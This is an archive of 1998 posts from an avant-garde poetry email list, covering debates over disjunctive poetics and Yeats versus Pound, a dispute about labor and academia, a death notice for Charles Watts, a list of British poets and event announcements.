If my paternal grandfather had not been adopted and given the name Emerald Silliman (the Silliman family, starting with the first brothers, Daniel and Thomas, who came to Connecticut out of Berne, Switzerland, in the 1600s, started a tradition of adoption that continues to this day, making the name one that contains an enormous genetic diversity, but one that also means that many a cousin has no shared DNA with one another), I would be Ron McMahon today.

Now, being the oldest living human (I turn 52 today, one year for each card in the deck) to have been named for the 40th president of the United States is a more complicated and dubious distinction. Even Reagan Jr. is younger than that.

But, as I wrote to Bob Corbett yesterday, Pound is unthinkable without Yeats. So is David Bromige, for that matter (Cf. A Final Mission in _The Ends of the Earth_, Black Sparrow '68).

And I always thought that the phrase O'Canada was a salute to that nation's Irish heritage,

Ron

"Date: Tue, 4 Aug 1998 08:56:51 -0700
From: david bromige <[redacted]>
Subject: ron o'silliman

sure and havent I been after telling Ron this for decades now, tis time to come out of that Celtic Twilight into the sun of common day. Same for Bob O'Hass also, him and Ron being alike as two peas in the pod. The mystifications of "Meditation at Lagunitas" smells of the druid censer no less than those of "Ketjak" and "Tjanting." Appears that not until the Liffey flows with Guinness shall we hear the plain speech of common sense from these two boyos, (brothers, tis rumored, though the connection has been hushed up). On a seperate but related issue, I would love for Randolph Healey to demonstrate his argued point, just that any poem by RH boils my potatoes. David O'Boy Bromige"

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170. **Henry**
Re: H=E=N=R=Y
Wed 5 Aug 1998

On Tue, 4 Aug 1998 23:04:16 PDT Mark DuCharme said:
>Agreed without hesitation that canonization applies "property rights,"
>as it were, even to Langpo works. Yet I thought you had been talking
>about the "elitism" or "esotericism," as you would have it, of such
>texts-- NOT about the social effects of critics' uses of them. Have I
>misunderstood you? And in any case, how would such a process be
>substantively different whether the poet is Yeats or Bob Perelman? I
>don't see how this is relevant in the context of the issues you were
>raising.

I think what I was saying is that though postmodernists may consider
themselves to be "freeing language itself" from stereotypes of the
narcissistic undivided monistic self, the social effect or outcome of
this approach is to accumulate disparate chunks of dictionary language
- prospectin the vocabulary - stakin your claim, puttin up your
shingle, callin in them hifalutin postmod scholar-lawyers to cover yer
tenure, flashin yer anthology... in other words the social effect of
the project is undifferentiable from other professional academic styles.
But I agree with you this is not exactly relevant & is sort of unfair &
typical email bombast. oh well.
>
>
>I'm sorry if I mischaracterized your response to disjunctive poetry
>(you'll note I tried to be careful to qualify my assertion), but you
>have to admit you have tried to come off as attacking disjunction-- just
>as you sign this recent post "your favorite reactionary curmudgeon."
>I'm sure your stance is more complicated than you can easily represent
>in a post or two, but you also seem to go out of your way to bait the
>"pro-disjunctionists" (as if there were such a thing). You can't have
>it both ways.

I've been trying to satirize a reigning style or approach. I apologize for going
over the top & browbeating & boring people. As you can see I'm at the sated
stage now - this happens to bulls after a few days of noisy rampaging. The ac-
tual poets - the people who delight in words & poetry & make something them-
selves, unique & independent & substantial - continue to do their work, many of
them working below the elitist level of academic libraries & internet access &
office jobs, others just avoiding most of that because they are creative & clever.
It would be truly reactionary to deny the impact of all the work very roughly
flowing from say a "Pound Stein Zukofsky Howe" matrix (purely imaginary

construct). The creme de la creme currently of that stream is possibly in the mag GERM, the new issue of which exhibits a lot of the faults & strengths of the reigning approach. Maybe when I've read it more thoroughly I can be more specific.

> *don't see anybody, least of all myself, logging on to the list to tell Henry Gould how he should write a poem. Yet I have to say I feel a little brow-beaten at times if some of the enthusiasms you champion sound boring to me PERSONALLY, in terms of my own practice (not what you or anyone else should like). "But what if coming from the WRITER'S position, these modes of composition are simply NO LONGER INTERESTING? Do not reflect the goals of the writer?" But there isn't just one "the writer"-- maybe this gets back to that "simplistic" communality of language after all. So let's all agree to write just what interests us, okay?-- & know full well that others, doing the same, will be different.*
>
> *Now what would be so elitist about that?*

I guess what I was getting at was that I was SKETCHING some bases for an alternative style, so that it won't do simply to recount "how to read" "disjunctive" work - I'm suggesting writing & reading something else entirely - you certainly have every right to find it not worth pursuing - but I don't quite agree with David Kellogg & others who simply cite the "Stone Cottage" book or how close Yeats & Pound were. Of course they were, & influenced each other to a great degree - but they also distinguished their approaches quite clearly, I think. Sorry I can't quote any evidence at the moment but I believe both Yeats & Pound specifically pointed out where they parted ways.

To summarize once more: my alternative position is this: it is possible to pursue an innovative poetry which aims for a direct synthesis of speech rhythms, metrics, imagery, and meaning; which maintains the syntax of "ordinary speech" while changing it, defamiliarizing it at the same time; which is an "art which hides art" by concealing layers of feeling & meaning beneath such a "non-disjunctive" surface; which even speaks "in propria persona" - or its mask - the autobriographical self - rather than a neutral non-voice or a mask of marginality. And this general approach is closer to the path Yeats took rather than Pound, whose drive to "break the pentameter" and so forth has continued on its centrifugal path for almost a century. I am not saying that we must obsess about Yeats or Pound as paradigms, or that disjunctive work is no good, or that such innovative poetry must sound like Robert Frost or something suitably antique. I am saying that I have a philosophical quibble with much of the ideological foundations of postmodern poetry, which I've gestured toward in some essays in Witz & Mudlark, and that's been part of my motive for running to the Russkies & slamming the creme de la creme. - Henry Gould

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171. **Henry Gould**
query: Robinson, Snyder
Wed 5 Aug 1998

Can anyone provide email addresses for Elizabeth Robinson in Berkeley or Rick Snyder in Brooklyn? Please backchannel only. Thanks very much. - Henry Gould

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172. **L. MacMahon and T.R. Healy**
Re: writing in the age of media
Wed 5 Aug 1998

Joe Safdie quotes Marjorie Perloff as saying:

Our first response to such 'sentences,' especially when there is a whole paragraph or page of them, is that we are the victims of some kind of scam.

********** I think an inflamed version of this response drives a great deal of the dismissal of "disjunctive" poetries. (Though why the disjunctive since they pre-eminently put things together).

A possible way out of this is to entertain the idea, however much as a polite fiction, that one's taste may not be absolutely trustworthy. And that one may not perhaps have arrived at the terminal point of the process of learning to read. This can be a bitter pill for those of us who like to judge a poem quickly, since it requires a different kind of attention to the text than we are used to giving. Moreover, in the absence of familiar rewards, some kind of faith in poetry may be necessary.

Randolph Healy

from [redacted]

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173. **Henry Gould**
Re: writing in the age of media
Wed 5 Aug 1998

Randolph Healy wrote:
Joe Safdie quotes Marjorie Perloff as saying:

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********** I think an inflamed version of this response drives a great deal of the dismissal of "disjunctive" poetries. (Though why the disjunctive since they pre-eminently put things together).

A possible way out of this is to entertain the idea, however much as a polite fiction, that one's taste may not be absolutely trustworthy. And that one may not perhaps have arrived at the terminal point of the process of learning to read. This can be a bitter pill for those of us who like to judge a poem quickly, since it requires a different kind of attention to the text than we are used to giving. Moreover, in the absence of familiar rewards, some kind of faith in poetry may be necessary. [end quote]

It's worth being reminded that the poem-text is a wilderness requiring patient application & care. Let us all have faith in poetry and give it an opportunity to be heard. Especially those of us inured to Tennyson & AE Housman, who like a jolly rhyme & a quick message before lunch; who want a poet like Vachel Lindsay to arise & speak to the people. These dizjunk chaps are awfully mind-boggling - what's it all about? - Eric Blarnes

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174. Mark Prejsnar
Confused Kathy fingerpointing
Wed 5 Aug 1998

Wake up yerself...

I'm a working class person who's been deeply involved in the labor movement for over 20 years.

Yeah, in fact the movement was sold out by what i refer to as the sweetheart leadership, who allowed red-baiting and the-post-war-boom-will-raise-all-boats to convince 'em to sell out the militancy we needed.

Get a grip and look at things clearly. We need to be critical and not mealy-mouthed.

Mark
(at various times of UAW, AFSCME, HUCTW, OCC and other organizing drives and organizing committees...
currently activist/organizer with the Labor Party)

On Tue, 4 Aug 1998, Kathy Lou Schultz wrote:

> *Mark Prejsnar wrote:*
>
> *"Yup....As i hope everyone knows by now, the situation of academics has been stomped on so hard, and without sufficient resistence, that they are*

> *truly reaching a level of proletarianization....It ain't a figure of speech. (I hasten to add that the lack of sufficient resistence reflects*
> *the state of class struggle overall, and isn't the fault especially of folks in academe alone. You might blame developments in the steel and auto industries, in fact, for selling down the river the chance at a strong working class decades ago..Without a true labor movement in society*
> *as a whole any one sector is vulnerable)"*
>
> *Talk about ahistorical finger pointing! Yes, working conditions in the academy are worsening, but it's a load of crap to try to blame this on "developments" in the steel and auto industries. And from your final sentence it seems that you're not blaming "developments," but rather those working class people who could have built a "true labor movement." First of all, wake up! Ever heard of the UPS strike? The organizing was masterful. And what about the 40,000 rank and file construction workers who recently took over midtown Manhattan? These are great examples of the resurgence of the American Labor Movement.*
>
> *To borrow from an old adage, convenience has bred apathy on the part of college professors for some time. Part-timers and adjuncts are currently leading the charge in organizing on college campuses. Get involved. All workers are under attack and it's not possible to improve conditions or hold onto past gains without fighting back.*
>
> *And, you know, this whole "academy" discussion was started by my observations about experimental poetry no longer being "outside" the academy. Interesting that this has spurred such defensiveness on the part of academics. I don't think anyone's point was that academics, or the academy itself, is "bad;" that's simply too reductive, and not the point in any case.*
>
> *Kathy Lou Schultz*

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175. **MAYHEW**

Academic Exchange Value

Wed 5 Aug 1998

While the the rhetorical mode of the "salvage operation" is tired, as David K. points out with great wit, does that mean that it is not worth doing? Perhaps in some other rhetorical mode? I for one appreciated Maria Damon's chapter on Bob Kaufman--despite the fact that it fell into a pattern of "rescue this neglected poet."

That supposedly hipper but actually simply "not interested in poetry" cult studs were less interested in Duncan/Spicer/Kaufman says something about them, Maria. The revealing phrase for me in your post about reception of your work was "to the extent they were interested at all." What WOULD interest these "cult studs"?!!! I would much rather be a poetry stud.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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176. Christian Roess
:Re:poetry in the age of medication
Wed 5 Aug 1998

On Tue, 4 Aug 98 david bromige writes
>Poets here to ruin poetry? Youre goddam right we are! Whats the
>point in leaving it just the way we found it? I HATE POETRY . Poetry
>that seduced me with its (and my) worst impulses when I was utterly
>vulnerable to its insinuations!? Poetry the molester of children's minds?
>The Trauma of Poetry, of having been poetized, can never be forgiven >never cured in therapy.

> *Just about any of the poetry that we call Maindrainins doest look to be written from any such wounds, but it is. It's is written in denial of those wounds, it is written to protect the molester, it is written by incest victims unable to acknowledge the fatal tinkering to which they were subject while too green or too conflicted to enjoy their outrage.*
>
> *I exaggerate? Name me one poet you admire who left Poetry the same as it had been before. Poetry that opens my lips and shuts my mouth. Poetry that wants me to lie down and let the past roll all over me. And makes me want just that.*

It's a relief of sorts to hear someone say so, OR its not our dirty little secret anymore. I've often wondered about the 'Trauma of being poeticized'; I don't know if its a question of 'failure of nerve' or 'piety' to (in effect) choose or not choose to discuss 'trauma' in regards to 'being poeticized'. I don't think it is. Poetry is , in a sense, a blessing and a curse.(Hey, if I'm wrong here, tell me. I can take it. I need to know.)

I was quite interested in the discussion last month with re: Hannah Weiner and the talk Maria Damon will be giving in October(?). This seems to be another

aspect to this question. I wanted to mention the book _Unclaimed Experience: Trauma, Narrative, and History_ by Cathy Caruth as an important disclosure, and isnt being poeticized to be exposed to whatever is 'unclaimed' in one's life, what Giorgio Agamben calls 'the possession of what cannot be enjoyed, and the enjoyment of what cannot be possessed.'?

When 'the beams of my house' are not so sturdy anymore, and philosophy is unmasked as a form of homesickness, and well, I want to check the view again out the 'north window', am I so sure the window frame is intact, or that I can point in that direction any longer, or that it even matters anymore calling this, or it, or us 'noble' anymore?

I don't know if this is necessarily what Bromige is talking about...It's hard to get the hang of it, and that's another dirty secret. I don't know if I will or will not get the hang of it. How much longer do I have. Please check your clocks. Or are the colors I'm flying 'too loud'?

Chris

"rereading,instead of memory,
as if to mediate the immediate,

needs prayer.

Most of them don't get the hang of it." <<<Robert Duncan 'Dante Etudes'>>>

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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177. **groberts**
Re: h=e=n=r=y
Wed 5 Aug 1998

Henry, you predicate your search for an "alternative" innovative poetry, one that is not also based on disjunctive poetics, on a "general approach closer to the path Yeats took than Pound." But in your careful description of the stylistics qualities of your alternative (your latest posts disregard "content" or the "form/content" issue, which may or may not be helpful in this instance)--you seem to leave out the relationship to a transcendental term(s) that Yeats predicated his poetics on, as did Duncan or Allen Grossman after him. Perhaps your most recent polemic ends up too quickly at claims about "how" to write a poem without addressing "why" write a poem, and this emphasis doesn't seem closer to Yeats at all. I assume that the stakes are higher than merely asserting your freedom from (the fiction of) a hegemony of disjunction. The energy field for Yeats was not delimited to self/language/ experience, and even adding history/

social organization to this string will not be sufficiently encompassing. If you do not leave out the philosophical, or rather the theological, ground of Yeats' figures, then your discourse will need to get into much more than stylistics...no?

Gary R.

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178. **Henry**
Re: h=e=n=r=y
Wed 5 Aug 1998

On Wed, 5 Aug 1998 11:31:16 -0500 <[redacted]> said:
>Henry, you predicate your search for an "alternative" innovative poetry,
>one that is not also based on disjunctive poetics, on a "general approach
>closer to the path Yeats took than Pound." But in your careful description
>of the stylistics qualities of your alternative (your latest posts disregard
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>term(s) that Yeats predicated his poetics on, as did Duncan or Allen Grossman
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>about "how" to write a poem without addressing "why" write a poem, and this
>emphasis doesn't seem closer to Yeats at all. I assume that the stakes are
>higher than merely asserting your freedom from (the fiction of) a hegemony
>experience, and even adding history/social organization to this string will
>not be sufficiently encompassing. If you do not leave out the philosophical,
>or rather the theological, ground of Yeats' figures, then your discourse
>will need to get into much more than stylistics...no?

Yeats' practice was more traditional and conservative than Pound's in many ways. It was Pound's influence that pushed Yeats to strive for a "harder", more "modern" voice, but he retained his original approach to language & form for the most part, it seems to me. It's not the fact of tradition that appeals to me: it's the emphasis on full, direct statement; the sense of a poem as a complete development and movement. This too will seem gratingly traditionalist. As I said in previous post, I have a philosophical quibble with [what I think of] as postmodernism; but I don't want to rehash lengthy comments of years ago on the list which bored a lot of people the first time. In the Witz & Mudlark essays I have tried to get at them in an indirect way. I bring forward the concept of wholeness as an ontological reality at least as real as division & fragmentation; I emphasize the "idea" of the Person as something slighted or made subservient by ideology on both left & right; & I talk about the traditional idea of the human as the image of god and the culture of the icon in Eastern European Christianity as realities which favor art-making in general. These are some of the notions

that underlie my argument with postmodernism & my attempt to question the sort of "automatic marginality" which seems to flow from sophisticated contemporary poetics. - Henry Gould

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179. **trbell**
Re: hypermedia piece
Wed 5 Aug 1998

Marvelous stuff, Hazel. I've only started to explore here, but it does illustrate what I was saying about mutual "auther"-reader poem construction, along with some pitfalls inherent apparently in the process - e.g. need for sophisticated hardware/software. You have done a marvelous job of avoiding another common problem with this work - I didn't detect a fascination with the means of production and fancy tricks, something that is found too often.

tom bell
[redacted]

At 02:52 PM 8/5/98 +1000, you wrote:
> Members of this list might be interested to look at the hypermedia
>interactive piece "Wordstuffs: the city and the body" created by myself,
>Roger Dean and Greg White. It consists of text, sound and image and is on
>the Australian Film Commission website site at www.stuff-art.com.au -(there
>are also other pieces on this site which might interest you). You will need
>the Shockwave plug-in for Flash and Director and you will also also need
>Quicktime and Java. However, if you do not have these, you can download
>them free of charge from the internet.
>
> Hazel Smith
> School of English
>University of New South Wales
>Sydney 2052
>
>

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180. **Pritchett,Patrick**
Re: need email address
Wed 5 Aug 1998

---

or phone number for Laura Mullen. Pls. backchannel.
Thanks.
Patrick Pritchett

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181. **trbell**
Re: :Re:poetry in the age of medication
Wed 5 Aug 1998

The cure for poetic trauma is not to be found in a pill or a bottle but might be written out of [!this is writing OUT OF, NOT confessional], might be helped through thherapy or mentoring, or taken as an "as-if" fact of life. If I were to say this applies to me does this than become "confessional" and automatically bad? What a weird world we inhabit. "Good Will Hunting' does have something to say.

tom bell

At 11:37 AM 8/5/98 -0400, you wrote:
>On Tue, 4 Aug 98 david bromige writes
>>Poets here to ruin poetry? Youre goddam right we are! Whats the
>>point in leaving it just the way we found it? I HATE POETRY . Poetry
>>that seduced me with its (and my) worst impulses when I was utterly
>>vulnerable to its insinuations!? Poetry the molester of children's minds?
>>The Trauma of Poetry, of having been poetized, can never be forgiven
>never cured in therapy.
>
>>Just about any of the poetry that we call Maindrainins doest look to be
>>written from any such wounds, but it is. It's is written in denial of those
>>wounds, it is written to protect the molester, it is written by incest
>>victims unable to acknowledge the fatal tinkering to which they were
>>subject while too green or too conflicted to enjoy their outrage.
>
>>I exaggerate? Name me one poet you admire who left Poetry the same as it
>>had been before. Poetry that opens my lips and shuts my mouth. Poetry that
>>wants me to lie down and let the past roll all over me. And makes me want
>>just that.
>
>----------
>It's a relief of sorts to hear someone say so, OR its not our dirty little
secret anymore. I've often wondered about the 'Trauma of being poeticized';
I don't know if its a question of 'failure of nerve' or 'piety' to (in
effect) choose or not choose to discuss 'trauma' in regards to 'being
poeticized'. I don't think it is. Poetry is , in a sense, a blessing and a
curse.(Hey, if I'm wrong here, tell me. I can take it. I need to know.)
>
> I was quite interested in the discussion last month with re: Hannah Weiner

and the talk Maria Damon will be giving in October(?). This seems to be another aspect to this question. I wanted to mention the book _Unclaimed Experience: Trauma, Narrative, and History_ by Cathy Caruth as an important disclosure, and isnt being poeticized to be exposed to whatever is 'unclaimed' in one's life, what Giorgio Agamben calls 'the possession of what cannot be enjoyed, and the enjoyment of what cannot be possessed.'?
>
>When 'the beams of my house' are not so sturdy anymore, and philosophy is unmasked as a form of homesickness, and well, I want to check the view again out the 'north window', am I so sure the window frame is intact, or that I can point in that direction any longer, or that it even matters anymore calling this, or it, or us 'noble' anymore?
>
>I don't know if this is necessarily what Bromige is talking about...It's hard to get the hang of it, and that's another dirty secret. I don't know if I will or will not get the hang of it. How much longer do I have. Please check your clocks. Or are the colors I'm flying 'too loud'?
>
>Chris
>
>
>"rereading,instead of memory,
>   as if to mediate the immediate,
>
>   needs prayer.
>
>Most of them don't get the hang of it." <<<Robert Duncan 'Dante Etudes'>>>
>
>
>
>
>
>
>_____
>Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
>
>

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182. **Peter Quartermain**
Charles Watts
Wed 5 Aug 1998

Many people on this list will be personally saddened to hear that dearly loved Charles Watts died this morning, 5 August, at about 4.15 a.m., of cancer.

After years and years of conversations, as Robin Blaser says, turning the world
round and round, that lovely mind enfolding one's thought and self, we'll miss him.
He was one of the reasons to be, here.

Please send any messages or tributes to me (address below), or to Tom McGauley at
[redacted]

I'll post details of the memorial gathering when I know them.

+ + + +

longer holds. people actually have each other's addresses. the inevitable can't be stopped.

so yes, even in light of the current saturation bombing from anthology hell, i am looking forward to the other thing. it is the only one i will actually go out and buy.

best,

Bill Luoma

<<Date: Tue, 4 Aug 1998 04:15:53 EDT
From: Douglas Oliver <[redacted]>
Subject: Re: Other

Jack Kimball has asked me to post a list of some interesting names in current Brit poetry. I'll do my best to give you, say, 50, very much off the top of my head, with absolutely no order of importance implied by the list.

You see, what I'm really asked to do here is create an anthology via the immediacy of e-mail. This can't be a list of that kind: it would take research and fuller memory recall. I've probably forgotten my oldest friend! At present, most US views of the British scene are somewhat narrowed by the preoccupations both of US poets and British poets who have so far compiled the names or arrange the conferences. Nothing especially wrong with that, but below is a fairly non-partisan list from someone who hasn't lived in Britain for nearly two decades and will miss quite a bit, I expect. May other Brits correct me.

A "T" means I have at least some contact or channel, sometimes close but not always. If Jack or anyone else is interested in following up on a name and I can help, I'd be glad to (within reason).

Andrew Duncan T (edits Angel Exhaust)
Helen MacDonald T
J.H. Prynne T (renewed interest in his work after the "Stars and Tigers" essay,
has become more and more concentrated in lexis more and more difficult.)
Denise Riley T (not producing much poetry just now, but still one of the finest of
all)
Aaron Williamson T (balletic performance artist, fully deaf, still interesting on-
page)
Nicholas Johnson T (runs Etruscan Reader series and conferences)
Karlien ven den Beukel T

W.N. Herbert T (Scots, sometimes writes in Dundee dialect)
Bill Griffiths T (has long been one of the most individual of poets writing out of
London, runs the Eric Mottram archive)
Allen Fisher T (one of the older writers to have kept most constantly innovative)
Catherine Walsh (said to be a good performer)
Miles Champion T (spending a lot of time in the States)
Grace Lake T
Wendy Mulford T (Used to run Reality Street editions with:
Ken Edwards (who continues these editions)
Maggie O'Sullivan T
Iain Sinclair T (Edited Conductors of Chaos, see below)
Harriet Tarlo T
Randolph Healy (with Joyce below part of the non-mainstream Irish)
Trevor Joyce
Tom Leonard T (Scots, strong, political work)
Carlyle Reedy (good performer)
Caroline Bergvall T (again, a good performer)
Merle Collins (With next two. Being out of the country, I don't know much
E.A. Markham about African-British, Caribbean-British, and Asian-British
Jack Mapanje writing. It's difficult to get the publications and I'd dearly love to
be better informed. Fred d'Aiguar has been an important
editor/poet. Can someone help me here?)
Ralph Hawkins T
Alaric Sumner (works with sound and performance motifs)
Tom Raworth T (currently the Brit poet best known by the non-Academic States
writers)
Lee Harwood T (has been writing strongly again)
Andrew Crozier T (his work has recently reappeared: one of the keenest
intellects in British poetry)
Adrian Harding (Scots, living in Paris) T
David Chaloner T
Anthony Barnett
Victoria Vaughan T
Simon Pettet (New York resident)
Fiona Templeton
Helen Kidd
Peter Riley (publishes Poetical Histories)

Tim Atkins
Martin Corless-Smith (in States)
John Wilkinson T
Drew Milne T
Khaled Hakim (has sort of invented an English of his own from semi-phonetics. I
don't know him -- he's quite young.)
D.S. Marriott T
Tony Baker (in France) T
Ric Caddel T
John Kinsella (works out of England right now, but properly regarded as Australian) T
Tony Lopez T
Rod Mengham T (runs the Equipage series)
Alan Halsey T
Barry MacSweeney T (recently returned to the scene)
Tom Pickard T
cris cheek T (works a lot with performance)
Lawrence Upton (good contact for the small press scene and activity generally)
Gilbert Adair>>

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184. joel lewis
f.y.i.
Wed 5 Aug 1998

*** Man strung up on meat hooks sets new world record

John Kamakaze, Scotland's self-styled "Prince of Pain," set a stomach-churning world record Wednesday when he spent 15 minutes suspended in mid-air by meat hooks imbedded in his back. A smiling Kamakaze, with eight meat hooks stuck in his back, and one in each leg, said pain was all in the mind. "It didn't hurt a bit. It's just a case of mind over matter," Kamakaze said afterwards. "I'm perfectly happy. The only thing that hurts is a blister on my foot from walking about too much yesterday." Unsurprisingly, the stunt has never before been attempted. See http://www.infobeat.com/stories/cgi/story.cgi?id=2555409538-f1f

*** Man squirts paint on Rembrandt portrait in London

A man squirted yellow paint over a Rembrandt self-portrait at London's National Gallery this week but the work has been cleaned up and is now back on show, a gallery spokeswoman said Wednesday. The attack on the picture of the artist at the age of 63 happened on Tuesday. "It hasn't sustained any permanent damage," the spokeswoman said. A 26-year-old unemployed man has been

charged with criminal damage over the attack, for which the motive was unclear. "This happens about once every 10 years," the spokeswoman said. "We normally nip these things in the bud." (Reuters)

*** French language watchdog growls at U.S. feminists

One of the staunchest defenders of the French language has found a new ememy in his never-ending battle against linguistic pollution - American feminists. Maurice Druon, secretary of the hallowed Academie Francaise that guards the language as a national treasure, grumbled on Wednesday about a recent fashion for "feminizing" titles which he said was an American aberration infiltrating French via Quebec. "Do we know where this fashion of feminizing titles was born? Certainly not in Canada, but in the United States. Canada was only contaminated through geographical proximity." See http://www.infobeat.com/stories/cgi/story.cgi?id=2555404916-1ac

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185. Louis Cabri
phillytalks
Wed 5 Aug 1998

PhillyTalks Response Issue & Gil Ott Issue

Response Issue

Folding the past forward for another year of talks, a response issue to the contexts/issues/authors presented in PhillyTalks 1-4 will be available in September. Respondants include Fred Wah, Ben Friedlander, Al Filreis, Clint Burnham, Andrew Klobucar, Kerry Sherin, Ammiel Alcalay, Tom Beckett, many others, as well as edited transcripts of the discussions post the four live events. Featured poets in 1-4: Laura Moriarty & David Bromige, Andrew Levy & Jackson Mac Low, Jeff Derksen & Ron Silliman, Jena Osman & Tina Darragh. RESPONSES ARE STILL BEING CONSIDERED. I need, and would be very happy, to hear from you no later than the third week of August.

A Gil Ott Issue
PhillyTalks invites you to contribute to an upcoming issue on the work of Gil Ott. Ott's poetry, essays, Singing Horse Press, dedication to community and arts education in Philadelphia have been of great importance in encouraging formally innovative, socially aware

writing practice. We seek responses to Gil's poetry and critical work, and are interested as well in commentary of a more personal nature (anecdote, reminiscence, etc.). Deadline: November 1st, 1998. The issue will feature an interview with the poet, conducted by Kristen Gallagher, Heather Starr and Kerry Sherin. For a Gil Ot bibliography, difficult-to-find or out-of-print work, contact Kristen Gallagher at [redacted] or [redacted].

Future Issues
Featured talks include Rodrigo Toscano & Alan Gilbert, Brian Kim Stefans & Fred Wah, Rod Smith & Bruce Andrews, Susan Stewart & Bob Perelman, Steven Farmer & Peter Gizzi, and others! There will be a John Wieners Celebration issue, with Rachel Blau DuPlessis and Alan Davies, among others, available soon. The March 1998 talk by Ammiel Alcalay and Tom Mandel, moderated by Joshua Schuster, will be available in early September, together with a chapbook by Alcalay, _A Masque in the form of a Cento_, published by hole books. Contribute to the next set of talks by subscribing -- the second response issue is due next summer. $12 for the next five issues; donations acccepted. Please make your cheque out to Louis Cabri.

Subscribers
Due to a fatal laptop mishap, some subscribers' addresses have been lost. PLEASE email me your address if by the first week of September you have not received a newsletter! Sorry! I will try my best to contact you myself, as memory serves.

PhillyTalks is a project of Kelly Writers House at the University of Pennsylvania. [redacted]; http://dept.english.upenn.edu/~wh

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186. George Bowering
Re: Charles Watts
Wed 5 Aug 1998

Thanks to Peter Q. for his sad and lovely words on Charles Watts.

We will miss him on this list, and we will hardly know how to get by without him in Vancouver.

You will remember that Charles did yeoman work on the Blaser conference here a couple years ago. He was currently working on the bpNichol symposium for this Fall.

If you are lucky enough to have his book _Bread and Wine_, have a read.

Charles, along with Gene Bridwell, was custodian of the Contemporary Literature Collection at Simon Fraser University, a wonderful place.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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187. George Bowering
Re: My David O'Bromige
Wed 5 Aug 1998

> *And I always thought that the phrase O'Canada was a salute to that nation's Irish heritage,*
>
> *Ron*

It is. Just ask Michael O'Ndaatje.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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188. Rachel Loden
Re: poetry in the age of medication (the testimony begins)
Wed 5 Aug 1998

david bromige wrote:

> *Just about any of the poetry that we call Maindrainins doest look to be written from any such wounds, but it is. It's is written in denial of those*

> *wounds, it is written to protect the molester, it is written by incest victims unable to acknowledge the fatal tinkering to which they were subject while too green or too conflicted to enjoy their outrage.*

And one support group is gathered to speak the full bitterness of poetry abuse in the latest issue of the (uh oh) PSA Journal. Charles Bernstein, Robert Creeley, Marie Ponsot, Leslie Scalapino and others write about their "first loves" in poesy.

Bernstein: "I remember, as if it were another life, those nights that Khlebnikov was my babysitter. After giving me a hot plate of Campbell's Vegetarian Baked Beans with cut-up franks, and then tucking me into bed, he would perform 'Incantation by Laughter' . . . Although I also admired his 'supersaga' _Zangezi_, which he wrote while bouncing me on his knee (or so it has often seemed), I was definitely partial to his shorter _zaum_ poems . . ."

Creeley: "So what I remember finally is what I have to--because I can't ever forget. It's the eighth grade? Miss Stolte, blonde, slim, quite tall, quick almost ironic manner, desperate in a way I can now recognize, lonely, disdaining, speedy, begins to read. We have badgered her mercilessly until she yields. But she must enjoy her powers? She is reading a poem by Alfred Noyes, which I find wondrous, arousing, sensual beyond anything I can put words to . . . "

All join hands and let the healing begin,

Rachel Loden

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189. Kathy Lou Schultz
"*Poor Confused Kathy*" *responds*
Wed 5 Aug 1998

Please, Mr. Presjnar, I have no interest in attacking you as a person. Rather, I take issue with your ideas--and still take issue with them. I think you need to differentiate between union bureaucrat "leaders," and rank and file unionism in your gloss of the labor movement. And what about the UPS strike? And the NYC construction workers? Should we just ignore that and continue to bemoan the state of Labor Movement? I prefer to recognize the tremendous energy and militancy happening on the part of the rank and file.

And you're simply not going to convince me that past failures (and yes there have been failures) on the part of union leaders in the steel and auto industries (your examples) are responsible for building the boat academics find themselves in. I still think they need to get off their butts and fight for their rights like everyone else--and help to build equality for workers. And increasing numbers are doing just that.

Oh so "mealymouthed". . .

I remain

truly yours,

Kathy Lou

Mark Prejsnar wrote:
>
> Wake up yerself...
>
> I'm a working class person who's been deeply involved in the labor
> movement for over 20 years.
>
> Yeah, in fact the movement was sold out by what i refer to as the
> sweetheart leadership, who allowed red-baiting and
> the-post-war-boom-will-raise-all-boats to convince 'em to sell out the
> militancy we needed.
>
> Get a grip and look at things clearly. We need to be critical and not
> mealy-mouthed.
>
> Mark
> (at various times of UAW, AFSCME, HUCTW, OCC and other organizing
drives
> and organizing committees...
> currently activist/organizer with the Labor Party)
>
> On Tue, 4 Aug 1998, Kathy Lou Schultz wrote:
>
> > Mark Prejsnar wrote:
> >
> > "Yup....As i hope everyone knows by now, the situation of academics has
> > been stomped on so hard, and without sufficient resistence, that they
> > are
> > truly reaching a level of proletarianization....It ain't a figure of
> > speech. (I hasten to add that the lack of sufficient resistence
> > reflects
> > the state of class struggle overall, and isn't the fault especially of
> > folks in academe alone. You might blame developments in the steel and
> > auto industries, in fact, for selling down the river the chance at a
> > strong working class decades ago..Without a true labor movement in
> > society

> > as a whole any one sector is vulnerable)"
> >
> > Talk about ahistorical finger pointing! Yes, working conditions in the
> > academy are worsening, but it's a load of crap to try to blame this on
> > "developments" in the steel and auto industries. And from your final
> > sentence it seems that you're not blaming "developments," but rather
> > those working class people who could have built a "true labor movement."
> > First of all, wake up! Ever heard of the UPS strike? The organizing was
> > masterful. And what about the 40,000 rank and file construction workers
> > who recently took over midtown Manhattan? These are great examples of
> > the resurgence of the American Labor Movement.
> >
> > To borrow from an old adage, convenience has bred apathy on the part of
> > college professors for some time. Part-timers and adjuncts are currently
> > leading the charge in organizing on college campuses. Get involved. All
> > workers are under attack and it's not possible to improve conditions or
> > hold onto past gains without fighting back.
> >
> > And, you know, this whole "academy" discussion was started by my
> > observations about experimental poetry no longer being "outside" the
> > academy. Interesting that this has spurred such defensiveness on the
> > part of academics. I don't think anyone's point was that academics, or
> > the academy itself, is "bad;" that's simply too reductive, and not the
> > point in any case.
> >
> > Kathy Lou Schultz
> >

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190. Kathy Lou Schultz
Spelling Bee for Mark P.
Wed 5 Aug 1998

Mark Prejsnar,
Sorry for misspelling yr name in recent post -- very tired after work.
KL

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191. Rachel Loden
poetry in the territories (response to Wheeler)
Wed 5 Aug 1998

Susan Wheeler wrote (in part):

> *Does anyone on this list, in their heart of hearts, not WANT this if it indeed means paradigms that are not arbitrarily territorial? . . .*
>
